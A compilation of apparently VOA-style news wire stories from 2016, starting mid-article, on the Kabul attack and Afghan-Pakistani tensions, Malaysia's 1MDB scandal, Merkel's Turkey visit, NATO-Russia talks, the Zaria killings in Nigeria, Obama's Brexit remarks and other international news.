The violence has outraged Afghans.Demands are growing for President Ashraf Ghani's government to abandon plans to engage in peace talks with the Taliban, and instead intensify military operations against the insurgents.

Haqqani network suspected

But Afghan parliamentarians and media commentators are questioning abilities of the countrys security apparatus and security checks across the city for failing to prevent the violence.

The attack, so close to the heart of the security and government apparatus, seemingly based on very precise intelligence and possibly aided by inside assistance, has raised questions again as to the government and security forces capacity to keep the capital safe, wrote Kabul-based Afghanistan Analysts Network.

Authorities are increasingly pointing fingers at neighboring Pakistan, saying initial evidence suggested the Haqqani network carried out the attack.

Afghan and U.S. officials have long believed the militant network is based on Pakistani soil and has links to the countrys intelligence agency, ISI.

Any attack the Haqqani group conducts is not possible without Pakistans help and this has been repeatedly proven in the last 14 years, a presidential spokesman, Dawa Khan Meenapal, told VOA on Friday.

President Ghani is also being criticized for seeking Pakistans help in bringing fugitive Taliban leaders to the negotiating table.

We have decided not to rely on Pakistan the way we did before the attack, a senior aide to President Ghani told VOA, saying Tuesdays attack was a "setback for efforts to improve bilateral relations.

Peace efforts in doubt



The aide, requesting anonymity, said officials don't believe Pakistan is genuine in its resolve to help in the Afghan peace efforts.

He said the Taliban and Pakistani intelligence agency expected the insurgent group would make significant progress in the battlefield against Afghan security forces with the start of the so-called Taliban spring offensive.

Unfortunately, Pakistani intelligence people were too enthusiastic about Taliban success prospects, he said, insisting the Kabul attack stemmed from frustration and setbacks the Islamist insurgency suffered since it launched fighting against Afghan forces on April 12.

The presidential aide anticipated more Taliban attacks across Afghanistan in the next few weeks in their bid to capture a province, but expected the insurgent group to announce its readiness for peace talks with the government by the end of May.

[The Taliban] will not be able to [make any advances in the fighting]. If the fighting goes as it is for another two to three weeks, Pakistan will step forward and say they have now convinced the Taliban to join talks,the Afghan adviser said.

Officials in Pakistan were not available immediately to comment on the Afghan assertions.

Pakistan condemned attack

Islamabad strongly condemned the Kabul attack hours after it happened. Thursday, Foreign Ministry spokesman Mohammad Nafees Zakaria reiterated his country's commitment to promote peace in Afghanistan.

"Pakistan has been engaged in sincere and consistent efforts to facilitate an Afghan-owned and Afghan-led peace process to bring lasting peace and stability in Afghanistan. We believe that violence and bloodshed is not the way to achieve peace," said Zakaria.

Pakistani leaders insist their counterterrorism gains are threatened if insecurity persists on the Afghan side of the border.

We have contacted a few groups but no concrete result yet, a Pakistani security official told VOA when asked whether Pakistan is still making efforts to arrange direct talks between the Afghan government and Taliban.

We are on it but no time frame can be given, the official said, requesting anonymity.
A financial scandal involving Malaysias prime minister continues to cast a shadow over the countrys financial markets and politics a year after allegations of misuse of funds were raised.

The spotlight fell dramatically on Malaysias state investment company, 1Malaysia Development Berhad (1MDB), after media reports last year raised allegations that millions of dollars were deposited into the private bank account of Malaysian Prime Minister Najib Razak.

Najib has repeatedly denied any wrongdoing and the Malaysian attorney general saying the funds were a personal donation from Saudi Arabias Royal Family.

But in the past week, an Abu Dhabi sovereign fund announced 1MDB was in default of its obligations on $1.1 billion in debt and interest.

Risk for markets

Malaysias Ministry of Finance quickly responded it would honor all commitments in financial markets linked to the fund and would have ample liquidity to do so.

But Bill Case, a political science professor at Hong Kongs City University, said the scandal may hit Malaysias financial sector and economy in the months ahead.

This IMDB scandal is so serious and the amounts of money so large that if the fund defaults  which it appears it may do in the next few days  and if the government then has to come in and guarantee, it will deal such a blow to that countrys entire financial system, Case told VOA. And this will put pressure on the [local currency] Ringgit once again. It doesnt look good. Thats just the beginning of defaults  there will be a whole succession of them, he said.

Weak international oil and commodity prices  with Malaysia a key exporter  led to a 20 percent fall in the Ringgit last year.

Case said the cost to the economy could eventually reach between $10 and $20 billion, or up to six percent of Malaysias national output (GDP). For an economy the size of Malaysia thats just a real body blow, Case added.

Divided opposition

The scandal and allegations has long triggered calls for Najibs resignation. Former Malaysian Prime Minister Mahathir Mohamad earlier this year joined with political foes urging the Prime Minister to step aside. Mahathir, who led Malaysia for 22 years, has also launched a lawsuit alleging misuse of power.

But the political opposition remains divided, with leading political figure, Anwar Ibrahim, serving a five year jail term for sodomy.

In denying the allegations, Najib also moved against any investigations by Malaysias former attorney general, replacing him with a loyalist. In February, incumbent Mohamed Apandi Ali ordered Malaysias anti-corruption agency to close its investigation of the prime minister.

But the scandal has led to probes in 10 countries  from Malaysia to the United Kingdom, the United States and Switzerland  over allegations of political donations, inaccurate disclosures, possible money laundering and embezzlement.

Test of strength

Najibs governing Barisan Nasional coalition is preparing to face a crucial political test in Sarawak state elections, on May 7, for the 82 member state legislative assembly.

The prime minister is counting on the popularity of the states chief minister, Adenan Satem, to retain support for the governing coalition.

Case says despite the funding scandal risking an erosion of support, the governing party should win the election.

Najib will survive in office. And he will win the election in Sarawak handily. And after that Najib will be able to say, 'You all see I am popular in Malaysia and this is how they show their favor to me, he said. Thats why I say [Najib] will last in office but the economy will continue to slide, Case said.

Krystan Tan, a Singapore-based economist with the independent research company Capital Economics, said the IMDB scandal has cast a pall over the political outlook. But Tan says despite these uncertainties political stability  at least in the short term  is assured.

The big picture for us is still that we dont  we still think that the risk of actual, genuine political instability is still pretty low in the short term, Tan told VOA. We still think that the prime minister has a pretty good grasp of his ruling party and were not going to see a change in leadership to the election in 2018. So in terms of policy direction were still going to see the status quo for now, she said.

The World Bank has projected an easing in Malaysias economic growth over 2016 to around 4.4 percent from 4.7 percent, with weaker private consumption.

Despite the reported default and failure to meet the interest payment of $1.1 billion on the loans taken up by 1MDB, the funds president, Aral Kanda, told Bloomberg newswires an amicable resolution to the matter is underway.

But the World Bank, in a commentary on the economy, said tightening the budget and resolving political issues would help reassure foreign investors and cope with the heightened external vulnerability.
Authorities in Mali have arrested a Mauritanian man suspected of planning multiple deadly assaults on Malian hotels last year.

VOA French to Africa reports that Fawaz Ould Ahmedia, also known as Ibrahim 10, was arrested late Thursday in the Malian capital, Bamako, by Malian intelligence services.

Reporter Kassim Traore says Ahmedia was allegedly preparing to launch a new attack Friday, and that his arrest may have prevented a tragedy.

Ahmedia is the suspected mastermind behind the assault on Bamako's upscale Radisson Blu hotel last November that killed 22 people.

French news agency AFP cites a security source as saying Ahmedia has confessed to planning an attack on a central Malian hotel that killed 13 people last August, and attacking a bar and restaurant in Bamako in March 2015, killing five people.



Mali has been fighting to contain Islamist militants since a 2012 coup allowed several groups to briefly gain control of the country's north.

Two regional groups, al-Qaida in the Islamic Maghreb and al-Mourabitoun, claimed responsibility for the attack on the Radisson. The same groups have since claimed responsibility for attacks on a hotel in Burkina Faso's capital and a beach resort in Ivory Coast.
The European Bank for Reconstruction and Development (EBRD) is ready to finance the renewal of Ukrainian railways' rolling stock, EBRD Senior Banker in Ukraine Mark Magaletsky has stated.

"From the point of view of private business, the situation is difficult here. This is due to a lower cargo turnover, devaluation and other factors. Meanwhile, the situation is improving, the market feels growing points. We hope for positive trends," he said at the Ukrainian Infrastructure Forum in Kyiv.

According to him, the decisions of Ukrzaliznytsia management with respect to investment, financing infrastructure should play a greater role in this work.

"This will give signals to the entire market. We are ready to cooperate and are already one of the creditors of Ukrzaliznytsia. We are ready to finance the purchases of new rolling stock, locomotives, but the company has to decide what amount of funds is required," the banker added.
Now that the Paris climate agreement has been signed, the hard work begins: Countries have to figure out how to reduce their greenhouse gas emissions without crippling their economies.

Already in the U.S., the state of Maryland is pursuing aggressive emissions cuts. Experts are watching for signs of economic harm, but so far, they have not seen them. In fact, some studies show economic benefits.

Supporters see Maryland as a model for how to transition from fossil fuels while fueling growth. But opponents are not easily convinced.

At the Marlin Steel plant in Baltimore, metal parts are made for pharmaceutical companies, carmakers and others. Bucking the trend of the last few decades, Marlin ships products made with American steel to China.

"We'll have a Chinese shipping clerk in Shanghai opening up a box that says, 'Made in America,' " plant owner Drew Greenblatt said. "I'm so proud of that."

Greenblatt says his power bill runs around 7 to 9 percent of his total sales. So when the U.S. Supreme Court froze President Barack Obama's Clean Power Plan, the centerpiece of the administration's efforts to fight climate change, he called it a "wonderful development."

A price on carbon

The rules, which would have increased energy costs, focused on power plants. States would have had to craft plans to cut their emissions. One way to comply was to charge utilities for the carbon dioxide their power plants produced. Many economists say putting a price on carbon is the best way to tackle pollution because it creates a financial incentive to cut emissions.

But Greenblatt says that could raise his costs. And that's bad for business.

"That's the difference between us winning and losing several jobs a year, which means we'll have less people here at the factory," he said.

Thirty-one people work alongside the machines, and the factory is in the middle of an expansion that aims to add another 10 to 15 employees. "We want to hire more people," Greenblatt said. "If you have your costs going up, you can't win more jobs."

Greenblatt cites a coal industry-sponsored study that says power prices will go up more than 10 percent nationwide under the Clean Power Plan. EPA predicts less than 2 percent.

What Greenblatt doesn't acknowledge is that Maryland is already part of a multistate program that charges power plants for their CO2 emissions.

The nine-state Regional Greenhouse Gas Initiative, or RGGI, funnels revenue from those sales into efficiency programs, renewable energy, reduction of consumers' electric bills and more.

Faster growth

The nine states in RGGI have seen their economies grow faster than those in the rest of the country, even as their greenhouse gas emissions have fallen more than in other states.

According to an analysis by the Arcadia Center, an advocacy group, RGGI states' gross domestic product grew by more than 21.2 percent between 2009 and 2014, while other states' GDP grew 18.2 percent. At the same time, RGGI emissions dropped by 35 percent, compared with 12 percent in other states.

And power prices are flat or down since the program began.

"So far, our economic experts have not seen a significant negative impact on the economy," Maryland environment secretary Ben Grumbles. "[There have been] positive impacts, with more jobs and economic development to come."

RGGI funds have pumped about $2 billion into the nine states' economies.

Grants from Maryland's share of the pot have gone to pay for "green job" training programs in renewable energy installation and home efficiency.

A clear step up

Joel Allen got free job training through Baltimore nonprofit Civic Works. He says it would have cost him $15,000 to get certified through a community college program.

He went from working at grocery chain Food Lion to performing energy audits and efficiency upgrades with a Maryland company called Elysian Energy.

"I was working [for] minimum wage and now I'm [earning] more than $40,000 [per year]," he said. "That's definitely good for someone my age, just 22 years old."

"These types of policies are neither job creators or destroyers. They're job shifters," said Brian Murray, head of economic analysis at the Duke University Nicholas School of the Environment.

And at the price RGGI puts on carbon dioxide emissions, currently around $5 per ton, "the net impact on the economy is just about indiscernible. It's not leading to massive surges in employment growth or massive surges in unemployment."

Those prices are expected to rise as the program tightens greenhouse gas allowances. "Will this put a crimp on economic activity? Most economic modeling suggests no," Murray said. "But only experience will bear this out."
German Chancellor Angela Merkel will use a visit to Turkey this weekend to try to soothe tensions over a deal meant to stem the flow of migrants to Europe, as questions about its effectiveness and long-term viability mount.

The pact, which came into force almost three weeks ago, aims to help end the chaotic arrival of migrants and refugees on the Greek islands, many fleeing war and poverty in the Middle East and Africa. More than a million reached Europe last year.

The deal initially slowed the numbers of new arrivals to Greece sharply, but boats are coming again at a rate of about 150 a day after a hiatus, indicating the "hermetic sealing" of the route appears to be over, the International Organization for Migration (IOM) said on Friday.

Merkel will pay a one-day visit with European Council President Donald Tusk to Gaziantep near the Syrian border on Saturday, where the two leaders are expected to go to a refugee camp for Syrians and meet Prime Minister Ahmet Davutoglu.

There is much at stake for both sides. Merkel lobbied skeptical European partners to back the deal, under which Turkey agreed to take back migrants who cross the Aegean Sea illegally, and is under political pressure at home to show progress.

Davutoglu sold the deal to the Turkish public partly on the basis that Turks would win quicker visa-free travel to Europe in return, a pledge that now could go unfulfilled, at least by the June deadline he had wanted.

Merkel's visit also comes as she faces criticism at home for allowing a German comedian to be prosecuted for insulting Turkish President Tayyip Erdogan.

"It is both sides that have a strong interest in making this work. Turkey wants support in easing the refugee burden - both financial support and in terms of numbers. And they want visa liberalization. We have other interests," a Merkel aide said. "Ultimately it will depend on both sides fulfilling the criteria they need to. If that doesn't happen the deal won't work. Whether it's sustainable is not clear yet."

Under the agreement, Ankara gets more EU funding for refugees living on its soil and the revival of long-stalled EU accession talks, as well as the quicker visa liberalization, the main prize in the eyes of many Turks.

But European Commission President Jean-Claude Juncker said this week that Turkey must meet all 72 conditions for visa-free travel and the EU would not water down its criteria, rebuffing a warning from Davutoglu that Turkey would no longer need to honor the deal if the promises were not met.

"Merkel is coming tomorrow to soothe both sides," said Elif Ozmenek, a migration expert at the Ankara-based USAK think tank. "There have been harsh statements from the EU, and on the other side Davutoglu has threatened to cancel deals. Merkel's trip is a 'let's continue the friendship' kind of visit."

Comedian

But it is a rocky friendship. Erdogan put Merkel in a difficult position by demanding that Germany press charges against a comedian who recited a sexually crude satirical poem about the Turkish leader on a German public

broadcaster last month.

Merkel's decision to let prosecutors pursue a case against Jan Boehmermann for mocking Erdogan angered many Germans, who saw it as a sop to an authoritarian leader.

"As much as Davutoglu is trying to make this work, Erdogan seems to be going out of his way to test the limits of what he can get away with," a senior German official said."He is showing that he can do anything he wants, testing our reactions. That will be very difficult to handle. You can see that in Merkel's handling of Boehmermann. This will be with us for the next weeks and months."

Rights groups and some European politicians had already accused the EU of compromising its principles by striking the deal with Turkey at a time when its record on freedom of expression appears to be deteriorating.

"Europe must set clear limits to its concessions ... Our freedoms, including freedom of expression, will not be part of political bargaining with any partner. This message must be heard also by President Erdogan," Tusk wrote in an op-ed published in several European newspapers on Friday.

A senior Turkish government official said the Boehmermann case was likely to be discussed during Merkel's visit, but that the main focus would be on relations with the EU and implementing the migrant deal, including how a promised 3 billion euros ($3.4 billion) in funding would be spent.

"There is an important acceleration in the relationship between Turkey and the EU, and we know that Merkel is taking a serious initiative in this," the official said.

"We may not be able to say there is total agreement on everything between Turkey and the EU, but it is clear that there is common will ... We're not expecting a troublesome visit."

($1 = 0.8877 euros)
The co-founder of Apple thinks the technology company should pay more tax.

Steve Wozniak, who founded Apple with Steve Jobs and Ronald Wayne in 1976, told the BBC that the company should pay at a 50 percent tax rate.

Many of the tech giants, including Amazon and Google, have come under harsh criticism for not paying enough taxes.

"I don't like the idea that Apple might be unfair  not paying taxes the way I do as a person, he told the broadcasting service. "I do a lot of work, I do a lot of travel and I pay over 50 percent of anything I make in taxes and I believe that's part of life and you should do it."

High US corporate rate



Apple, which is valued at over $600 billion, has come under pressure in Europe, where the company funnels its business through subsidiaries in the Republic of Ireland with a corporate tax rate of 12.5 percent.

The U.S. corporate tax rate is 35 percent.

Three years ago, the company admitted only paying a 2 percent tax rate for two Irish subsidiaries, helping the company amass about $200 billion in cash the U.S. government cant touch.

In December of 2015, Apple agreed to pay $348 million to settle an Italian tax dispute.

"But you know, on the other hand, I look back at any company that is a public company, its shareholders are going to force it to be as profitable as possible and that means financial people studying all the laws of the world and figuring out all the schemes that work that are technically legal, Wozniak, who left Apple in 1985, told the BBC. They're technically legal and it bothers me and I would not live my life that way."
NATO and Russia held their first dialogue in two years this week.

The meeting among ambassadors of the alliance and Russia in Brussels Wednesday failed to produce agreements, but analysts say it has raised hope that Russia may be making a new effort to emerge from isolation following its annexation of Crimea and support for separatist rebels in eastern Ukraine.

Russia is still under sanctions from the United States and other members of NATO, which called on Russian forces to stop their actions to destabilize eastern Ukraine and protested the annexation of Crimea.

At the meeting, officials gave no indication that Russia is ready to make any concessions, such as withdrawing its support, in both personnel and weaponry, for separatist rebels in eastern Ukraine.

We had a frank and serious discussion, said NATO Secretary-General Jens Stoltenberg, but he said differences between Moscow and the alliance are persistent and deep. He said there remain profound disagreements.

The meeting came at a time when relations between NATO and Russia are at their lowest since the Cold War. Aside from differences over Ukraine, tensions have been raised by a string of incidents involving the U.S. and Russian militaries that Washington and NATO have condemned as dangerous and unprofessional.

The latest was last week, when a Russian airplane buzzed a U.S. destroyer and a U.S. reconnaissance aircraft over the Baltic Sea.

U.S. and NATO officials called the meeting with the hope of opening communication and eventually updating their agreements to prevent accidents and misunderstandings during military maneuvers.

Russia had good reasons for attending the session.

I dont think Russia has any intent in being seen as a rogue state or somehow isolated, said Samuel Greene, director of the Russia Institute at Kings College London. They clearly dont agree with the West, but they do see themselves as part of the global equation and remain interested in communicating.

Showing a willingness to emerge from isolation is important for Moscow. The EU extended its sanctions in December but they are due to expire in July. With Germany and France pressing to review and eventually lift them, analysts say Russia sees a real possibility that the sanctions could soon be lifted or at least reduced.

Following an impressive performance in Syria, where Russian-backed forces helped the government of President Bashar al-Assad drive back rebels and retake considerable amounts of territory, Russia came to the table in Brussels in a position of strength.

Russia believes it has proven it is relevant and has the capacity to insert itself into equations that are important to Washington and to NATO, Greene said.

Neither the U.S. nor NATO has security agreements with Ukraine. With the Ukrainian government failing to enact anti-corruption measures at a rate acceptable to the EU and the Ukraine conflict no longer making headlines in the West, analysts say it is not unlikely that Europe may move to begin lifting sanctions soon, or at the very least, improving ties with Moscow.

Boosting military-to-military communication between Moscow and NATO to avoid confrontations could be one first step. Talks in Brussels on Wednesday went nearly four hours longer than scheduled, a sign that while neither side is willing to make concessions, it is willing to talk.

In a move that could help further thaw relations with Russia, Douglas Lute, the U.S. ambassador to NATO, said Friday there is no chance of NATO expansion anytime soon.

"There's no way we're going to get consensus any time in the near future on adding Georgia or Ukraine, he told the Aspen Security Forum in London.
Amnesty International says hundreds of people were killed by the Nigerian military in a clash with a Shi'ite Muslim sect in the northern city of Zaria in December. The report's release Friday comes as the government filed charges that carried the death penalty against hundreds of the group's surviving members.



In December, residents of the Kaduna suburb Mando noticed a massive hole dug in a remote part of their local cemetery. It was then filled almost as quickly as it had been dug. What they only found out later was that it was full of bodies.



A Kaduna state official told VOA that inside the mass grave were corpses of 347 people killed in a clash between the military and the Islamic Movement of Nigeria, a Shi'ite sect based in Zaria.



Amnesty Internationals Senior Crisis Response Advisor Donatella Rovera says what took place there was a massacre. A report from the rights group says soldiers shot children in the head and set a building full of wounded people on fire, then tried to cover it all up.



In addition to those buried in the mass grave, the Shi'ite group says a further 350 of their members remain missing.



The Nigerian military went to extraordinary efforts to cover up their crime, to destroy the evidence and this is very striking, said Rovera.



The military says soldiers fought back after members of the sect tried to assassinate the chief of army staff as he passed through Zaria. The military spokesman did not respond to requests for comment.

Rovera says both the military and Kaduna state are complicit in covering up the deaths of hundreds of people.



One state official says he was merely doing his job. Namadi Musa, an adviser to the government on religious matters, told VOA that Kadunas governor asked him the day after the clash to travel to Zaria and ensure that 347 corpses released by the military were given a proper burial.



I followed specific instructions: count the number, make sure theyre buried in a dignified way, and know where theyre buried, said Musa.



A state commission of inquiry is investigating the incident.



State officials this week filed charges against a group of 50 people arrested after the clash. A lawyer for the group, Festus Okoye, says he expects a total of 265 people to be arraigned in the coming weeks. Of those, 255 will face charges of culpable homicide, which carries the death penalty.






President Barack Obama released a statement on Armenian Remembrance Day Friday in which he commemorated the massacre of Armenians in 1915.

Obama said it was the first mass atrocity of the 20th century, but did not call it genocide.

The president thanked the people of Armenia for opening their arms to Syrian refugees, welcoming nearly 17,000 into their country.

One-and-a-half million Armenian people living in Turkey were deported, massacred, and marched to death under the Ottoman rule.

Turkey has recognized the mass killing of Armenians form 1915 to 1918, but denies the word genocide as an accurate term to describe the massacre and also has said the number is inflated.

U.S.-Armenian interest groups have said that the president should have taken a stronger stand on the issue.
U.S. President Barack Obama has dived into a heated debate over a June 23 referendum in which British voters will decide whether their country will remain in the European Union.

"I don't believe the EU moderates British influence in the world, it magnifies it," the U.S. leader said at a joint news conference with British Prime Minister David Cameron following their meeting Friday.

Obamas remarks are a boost for Cameron, who has come out in support of remaining in the European Union.

But they have inflamed so-called Euroskeptics, who reject what they say is interference by the U.S. leader in a domestic matter.

In a column published in The Telegraph newspaper moments after Air Force One touched down late Thursday at Stansted Airport outside London, Obama urged Britain to stay in the EU.

"Ultimately, the question of whether or not the UK remains a part of the EU is a matter for British voters to decide for yourselves," Obama wrote. "A strong Europe is not a threat to Britain's global leadership; it enhances Britain's global leadership."

'Special relationship'

The United States and Britain have what Washington leaders have, since the time of Winston Churchill, described as "a special relationship," and the U.S. sees Britain's membership as Washington's voice in the 28-nation grouping.

"The United States sees how your powerful voice in Europe ensures that Europe takes a strong stance in the world, and keeps the EU open, outward looking, and closely linked to its allies on the other side of the Atlantic. So the US and the world need your outsized influence to continue  including within Europe," Obama wrote.

In his remarks alongside the British Prime Minister, Obama also warned that Britain would end up "in the back of the queue" on trade deals if it left the EU.

Butt out

Obama's statements drew a sharp rebuke from those who back Britain's exit.

Right-wing U.K. Independence Party leader Nigel Farage had strong words for the U.S. leader, saying he should "butt out." Farage and others argue that being in the EU has caused Britain to lose control of its borders by handing other countries the power to admit migrants who are then sometimes able to travel to the U.K.

London Mayor Boris Johnson described Obama's statements as hypocritical and said U.S. leaders "would never contemplate anything like the EU for themselves."

Those sentiments were echoed by Euroskeptic campaigners distributing leaflets in a southeast London neighborhood hours before Obama's arrival.

"I'd just say this to President Obama: I don't think he has the right to lecture us until the U.S. accepts an open border with Mexico, a supreme court in Havana, and VAT [Value Added Tax] set in Buenos Aires," Tom Harwood, a 19-year-old volunteer and university student, told VOA.

Lunch with Queen

Earlier Friday, the U.S. president and first lady Michelle Obama went to Windsor Castle for lunch with Queen Elizabeth II, who celebrated her 90th birthday a day earlier.

Obama presented the queen with a photo album of her numerous meetings with U.S. presidents and first ladies.

Obama said he had to confess that part of the reason for his trip was to wish the queen a happy birthday. He said the monarch was a "real jewel" to the world, not just Britain.

The queen does not express her opinions on political matters.
The Organization for Security and Cooperation in Europe has called on Ukraine's government to refrain from laws limiting free media and free flow of information.

The OSCE issued a statement Friday in response to amendments that Ukraine's President Petro Poroshenko signed earlier this week to the country's law on cinema. According to the OSCE, those amendments tighten restrictions on the distribution and broadcast of certain audio-visual materials, allowing a "blanket ban" of all Russian films produced or released since the beginning of 2014, the year Russia annexed Crimea in a move described by Western nations as illegal and illegitimate.

Even under the state of hostilities democratic countries have a responsibility to carefully address the potentially problematic content, for example through the use of appropriate judicial mechanisms, in order to avoid overbroad steps and introduction of censorship-like provisions, the OSCE's Representative on Freedom of the Media, Dunja Mijatovic, was quoted as saying. Ukraines current significant progress in the area of media freedom should be preserved and enhanced, not undermined.

Ukraine was ranked 107th out of 180 countries in the 2016 World Press Freedom Index compiled by watchdog group Reporters Without Borders. That was a significant improvement over 2015, when it came in 129th place.

Reporters Without Borders this year ranked Russia 148th out of 180 countries - a slight improvement over 2015, when it was came in 152nd place.
The Russian parliament on Friday elected a retired senior police officer to serve as presidential human rights ombudsman amid an outcry about her lack of democratic credentials.



The State Duma voted overwhelmingly for Tatyana Moskalkova, a police general and lawmaker of the Just Russia party, on Friday. President Vladimir Putin had the right to nominate a candidate, but he did not do so.



The 60-year-old Moskalkova, who worked in the Interior Ministry for more than two decades, was an odds-on favorite after the ruling United Russia party threw its weight behind her. Her nomination, however, enraged Russia's human rights advocates who saw a clear conflict of interest in such an appointment.



Activists of the Yabloko party picketed the Duma Friday morning to protest Moskalkova's candidacy.



Moskalkova's predecessors had strong democratic credentials and often used their position to raise flagrant right violations and put the pressure on law enforcement and prison officials. A lot of Russian human rights activists have a background in the Soviet dissident movement and have been exiled or sent to prison for their work.



The police general's nomination baffled even far-right politician Vladimir Zhirinovsky.



Moskalkova ``is a great person but her work in the Soviet police and in the police under (President Boris) Yeltsin cannot give us any reason to think that she is able and wants to defend human rights,'' Zhirinovsky told the parliament during debates.



As in the Soviet times, police in Russia are still considered as a source of widespread abuse of human rights.



Moskalkova's speech at the parliament on Friday only confirmed expectations of her hawkish position. She told the parliament she would focus on how rights are violated in health care and housing, and lashed out at what she described as attempts to take advantage of Russia's poor human rights record.



"Western and American bodies have come to use the issue of human rights as a tool of blackmail, abuse, threats and attempts to put the pressure on Russia,'' she said. "The human rights ombudsman has plenty of tools to counter that.''



She did not specify what human rights issues she was talking about.



Moskalkova also said she would fight for the rights of Russians living abroad and said it is important for her to "defend Russian values, not just the rights of one person.''
In an April 6 referendum in the Netherlands, a majority of participants voted against approving an association agreement between the European Union and Ukraine. The results were greeted with concern in the West, but with delight in Moscow.

Russia's government saw the vote as evidence that it was on the same page with Europes far right  in this case, the Freedom Party headed by Geert Wilders, the Dutch politician known for his opposition to Islam and immigration who hailed the referendums no vote as the beginning of the end of the EU.

The Dutch referendum was just the latest in a series of developments that have journalists and researchers from around the world taking a closer look at how European radical organizations  most of them on the right side of the political spectrum, but also some on the left  are connected to the administration of Russian President Vladimir Putin.

Is it simply a coincidence that many of these organizations supported the Kremlins actions against Ukraine? According to researchers, the answer is no: radicals in Europe, together with some cynically-minded mainstream politicians, are close to Russias current leaders, both ideologically and financially.

Money trail

For example, in 2014, the leader of Frances National Front, Marine Le Pen, admitted her far-right party had taken an $11-million loan from Russian-owned First Czech-Russian Bank.

Le Pens lieutenants have been to Moscow many times and met people there, and its very clear theres an open financial connection, and also some intellectual support, Washington Post columnist Anne Applebaum told VOAs Russian Service, adding that there are also direct connections between Hungarys far-right Jobbik party and Russia. One of its members has deep and long Moscow links, she said.

According to Applebaum, there are also indirect links between Europes far right and Moscow. For example, there have been conferences organized with Russian money which the leaders of these right-wing groups attend, she said.

Such links were also on display during the November 2014 elections in eastern Ukraine, which were organized by Russia-backed separatists in the region. A number of Europes far-right parties, along with Greeces Communist Party, agreed to send monitors to observe that vote, which Western governments dismissed as illegitimate.



The third kind of link is intellectual, said Applebaum. Its one that we saw in the recent Dutch referendum, whereby a right-wing party borrows liberally from Russian propaganda and Russian-manufactured disinformation in a local political dispute.

Applebaum said Moscow supports Europes far-right in hopes of weakening European organizations and institutions that it "perceives as a threat. She added, however, that such actions will not ultimately benefit Russia as a country.

Russia, in my view is a European country, she said. It should be trying to join Europe and strengthen it, and I dont see what Russia gains by trying to destroy Europe.

Divide and split

David Kramer, senior director for Human Rights and Democracy at the McCain Institute for International Leadership, a Washington-based research institution, told VOA he did not think that Russian actions were decisive to the outcome of the Dutch referendum.

Russia is exploiting Europes divisions and disagreements, though I think it goes too far to say that Russian propaganda had a significant impact on the Dutch referendums outcome, he said. The vote frankly was more about Dutch views toward the EU, and the referendum on Ukraine and the EU got caught up in that. Still, the result was a major boost for Putin and a big blow to Ukraine.

More broadly, Moscow is trying to to divide and split Europe, according to Kramer.

And Europe is giving Russia openings to do this, he said. That it is not a source of deep shame and embarrassment that a major French political party can openly ask for Russian funding  and that would be illegal in the U.S., by the way  says a lot. Putins greatest export is corruption, and the West imports it. We need to do a better job of blocking Russian money and its corrupting influence. I am more worried about that than I am about Russian propaganda.



Boris Reitschuster, a former Moscow correspondent for the German news magazine Focus and author of a book titled "Putin's Hidden War, has investigated the connections between Germanys far right and the Kremlin and its ideological representatives.

He told VOA that German rightists have direct connections with the Russian government, with people who used to work for the Stasi, the former East German communist secret police, and with Russian friends of the Putin government like the ultra-nationalist political scientist Alexander Dugin and Konstantin Malofeyev, a far-right billionaire who is said to have provided funds for the separatists in eastern Ukraine.

KGB methods

Moscow, said Reitschuster, has long been working to increase its influence on political life in Germany. "I think it started shortly after Putin came to power, he said. He was a KGB man, and everything he is using now is the old methods of the KGB and the Stasi. Russias annexation of Crimea in 2014 was a watershed, he added, as if, before that, something had been created but was in sleep mode, and suddenly was turned on.

According to Reitschuster, several German right-wing parties have clear links to Moscow. One is Alternative for Germany, which won 4.7 percent of the votes in the 2013 German federal election, just short of the 5 percent electoral threshold to gain seats in the Bundestag. Another is the National Democratic Party of Germany, whose former leader, Udo Voigt, participated in a congress of European ultra-right radicals held in St. Petersburg in March 2015. Voigt is currently a member of the European Parliament.

There is also a whole network of right-wing German websites and media with connections to Russia, said Reitschuster. I think it is impossible to believe that this is a coincidence.

Still, Reitschuster believes Russian meddling in German affairs will ultimately backfire.

In the long run, this could help Germany, because I think we will survive such an assault and that it, on the contrary, will help strengthen our patriotic spirit, strengthen our understanding of how important our freedom is, he said.
State-run enterprise Boryspil International Airport (Kyiv) has denied information provided by Ukraine's Antimonopoly Committee (UAC)that it prevents competition. The company does not acknowledge the fine imposed on Boryspil airport, the press service of the airport has told Interfax-Ukraine.

The Antimonopoly Committee imposed a UAH 68,000 fine on the airport.

According to the press service, the UAC ruled that that Boryspil airport is allegedly a monopolist in leasing premises. Steps taken by the airport to lease premises for passenger servicing organizations (including snack and hot drink machines) for the period of 10 years on the first, second and third floors of Terminal D in the conditions of the tender have been declared discriminative.

Acting Director General of Boryspil Airport Yevhen Dykhne said that the decision of the committee's panel is groundless. It is not in line with Ukrainian law.

"The market where competition was violated has not been properly determined, the goods and territorial borders of the market have not been defined and the consumers and key players of the market have not been established. The committee decided not to study the procedure for leasing disputable assets and the law on leasing state-run assets was misapplied," Dykhne said.

The committee said that the Boryspil Airport is a natural monopoly in leasing state-run property that is on the companys balance sheet. Dykhne believes that this position is untenable because, according to the list of natural monopolies approved by the committee, Boryspil is a natural monopolist only in providing landing and takeoff services for aircraft, air safety and aircraft parking for a larger period of time than it is scheduled.

Boryspil International Airport is the main airport of Ukraine. The airport has two runways: one with a length of 4,000 meters and a width of 60 meters, and the second with a length of 3,500 meters and a width of 63 meters. Four passenger terminals, postal and cargo complexes are located on the territory of the airport.
North Korea said Friday it has decided to send to Seoul the relatives of a group of defectors it says were kidnapped by the South.

Seoul has rejected the move for the face-to-face meeting, saying the twelve women decided on their own to resettle in the South.

Pyongyang has already warned about "strong retaliatory action" if the South did not facilitate the meeting.

North Korea's Red Cross said in a statement issued through the state-run Korean Central News Agency, "The families who have their beloved daughters abducted in broad daylight are earnestly asking for direct contact with them as early as possible."

Pyongyang says a rejection of the meeting by the South is an admission the South abducted the women.

The South says the workers collectively planned their defection while they were working in China and came to the South of their own free will.

The North claims the workers were essentially kidnapped by spies who tricked them into defecting.

Pyongyang proposed to send the northern relatives of the women to Seoul via Panmunjom, a U.N.-truce village on the inter-Korean border.

North Korea is notoriously harsh against would-be defectors, often subjecting those who are unsuccessful in escaping to severe punishment.
Taliban extremists in northwestern Pakistan on Friday gunned down a provincial legislator belonging to the minority Sikh community.

Soran Singh was ambushed in the restive Buner district of Khyber Pakhtunkhwa province, police said, adding that an investigation was underway.

The outlawed Pakistani Taliban claimed responsibility for the assassination.

In a statement sent to reporters, a spokesman for the militant group, Muhammad Khorasani, vowed to continue such targeted attacks until the implementation of an Islamic system in Pakistan."

